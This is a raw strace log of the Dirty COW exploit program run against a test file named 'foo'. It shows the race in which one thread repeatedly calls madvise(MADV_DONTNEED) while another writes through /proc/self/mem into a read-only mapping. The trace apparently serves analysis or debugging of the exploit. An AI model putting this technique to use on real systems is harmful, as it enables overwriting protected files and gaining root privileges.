1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90
| 52725 execve("./dirtyc0w", ["./dirtyc0w", "foo", "m00000000000000000"], [/* 19 vars */]) = 0 52725 brk(NULL) = 0x1461000 52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 52725 access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory) 52725 open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3 52725 fstat(3, {st_mode=S_IFREG|0644, st_size=88932, ...}) = 0 52725 mmap(NULL, 88932, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb97dacf000 52725 close(3) = 0 52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 52725 open("/lib/x86_64-linux-gnu/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3 52725 read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\260`\0\0\0\0\0\0"..., 832) = 832 52725 fstat(3, {st_mode=S_IFREG|0755, st_size=138696, ...}) = 0 52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dace000 52725 mmap(NULL, 2212904, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb97d6a3000 52725 mprotect(0x7fb97d6bb000, 2093056, PROT_NONE) = 0 52725 mmap(0x7fb97d8ba000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x17000) = 0x7fb97d8ba000 52725 mmap(0x7fb97d8bc000, 13352, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb97d8bc000 52725 close(3) = 0 52725 access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) 52725 open("/lib/x86_64-linux-gnu/libc.so.6", O_RDONLY|O_CLOEXEC) = 3 52725 read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0`\t\2\0\0\0\0\0"..., 832) = 832 52725 fstat(3, {st_mode=S_IFREG|0755, st_size=1868984, ...}) = 0 52725 mmap(NULL, 3971488, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fb97d2d9000 52725 mprotect(0x7fb97d499000, 2097152, PROT_NONE) = 0 52725 mmap(0x7fb97d699000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1c0000) = 0x7fb97d699000 52725 mmap(0x7fb97d69f000, 14752, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fb97d69f000 52725 close(3) = 0 52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacd000 52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacc000 52725 mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fb97dacb000 52725 arch_prctl(ARCH_SET_FS, 0x7fb97dacc700) = 0 52725 mprotect(0x7fb97d699000, 16384, PROT_READ) = 0 52725 mprotect(0x7fb97d8ba000, 4096, PROT_READ) = 0 52725 mprotect(0x601000, 4096, PROT_READ) = 0 52725 mprotect(0x7fb97dae5000, 4096, PROT_READ) = 0 52725 munmap(0x7fb97dacf000, 88932) = 0 52725 set_tid_address(0x7fb97dacc9d0) = 52725 52725 set_robust_list(0x7fb97dacc9e0, 24) = 0 52725 rt_sigaction(SIGRTMIN, {0x7fb97d6a8b50, [], SA_RESTORER|SA_SIGINFO, 0x7fb97d6b4390}, NULL, 8) = 0 52725 rt_sigaction(SIGRT_1, {0x7fb97d6a8be0, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fb97d6b4390}, NULL, 8) = 0 52725 rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0 52725 getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0 52725 open("foo", O_RDONLY) = 3 52725 fstat(3, {st_mode=S_IFREG|0404, st_size=19, ...}) = 0 52725 mmap(NULL, 19, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fb97dae4000 52725 fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 8), ...}) = 0 52725 brk(NULL) = 0x1461000 52725 brk(0x1482000) = 0x1482000 52725 write(1, "mmap 7fb97dae4000\n\n", 19) = 19 52725 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0) = 0x7fb97cad8000 52725 mprotect(0x7fb97cad8000, 4096, PROT_NONE) = 0 52725 clone(child_stack=0x7fb97d2d7ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7fb97d2d89d0, tls=0x7fb97d2d8700, child_tidptr=0x7fb97d2d89d0) = 52726 52726 set_robust_list(0x7fb97d2d89e0, 24 <unfinished ...> 52725 mmap(NULL, 8392704, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_STACK, -1, 0 <unfinished ...> 52726 <... set_robust_list resumed> ) = 0 52725 <... mmap resumed> ) = 0x7fb97c2d7000 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...> 52725 mprotect(0x7fb97c2d7000, 4096, PROT_NONE) = 0 52726 <... madvise resumed> ) = 0 52725 clone( <unfinished ...> 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...> 52725 <... clone resumed> child_stack=0x7fb97cad6ff0, flags=CLONE_VM|CLONE_FS|CLONE_FILES|CLONE_SIGHAND|CLONE_THREAD|CLONE_SYSVSEM|CLONE_SETTLS|CLONE_PARENT_SETTID|CLONE_CHILD_CLEARTID, parent_tidptr=0x7fb97cad79d0, tls=0x7fb97cad7700, child_tidptr=0x7fb97cad79d0) = 52727 52727 set_robust_list(0x7fb97cad79e0, 24 <unfinished ...> 52725 futex(0x7fb97d2d89d0, FUTEX_WAIT, 52726, NULL <unfinished ...> 52727 <... set_robust_list resumed> ) = 0 52726 <... madvise resumed> ) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52727 open("/proc/self/mem", O_RDWR <unfinished ...> 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED) = 0 52727 <... open resumed> ) = 4 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...> 52727 lseek(4, 140434654248960, SEEK_SET <unfinished ...> 52726 <... madvise resumed> ) = 0 52727 <... lseek resumed> ) = 140434654248960 52726 madvise(0x7fb97dae4000, 100, MADV_DONTNEED <unfinished ...> 52727 write(4, "m00000000000000000", 18 <unfinished ...> 52726 <... madvise resumed> ) = 0 52727 <... write resumed> ) = 18
|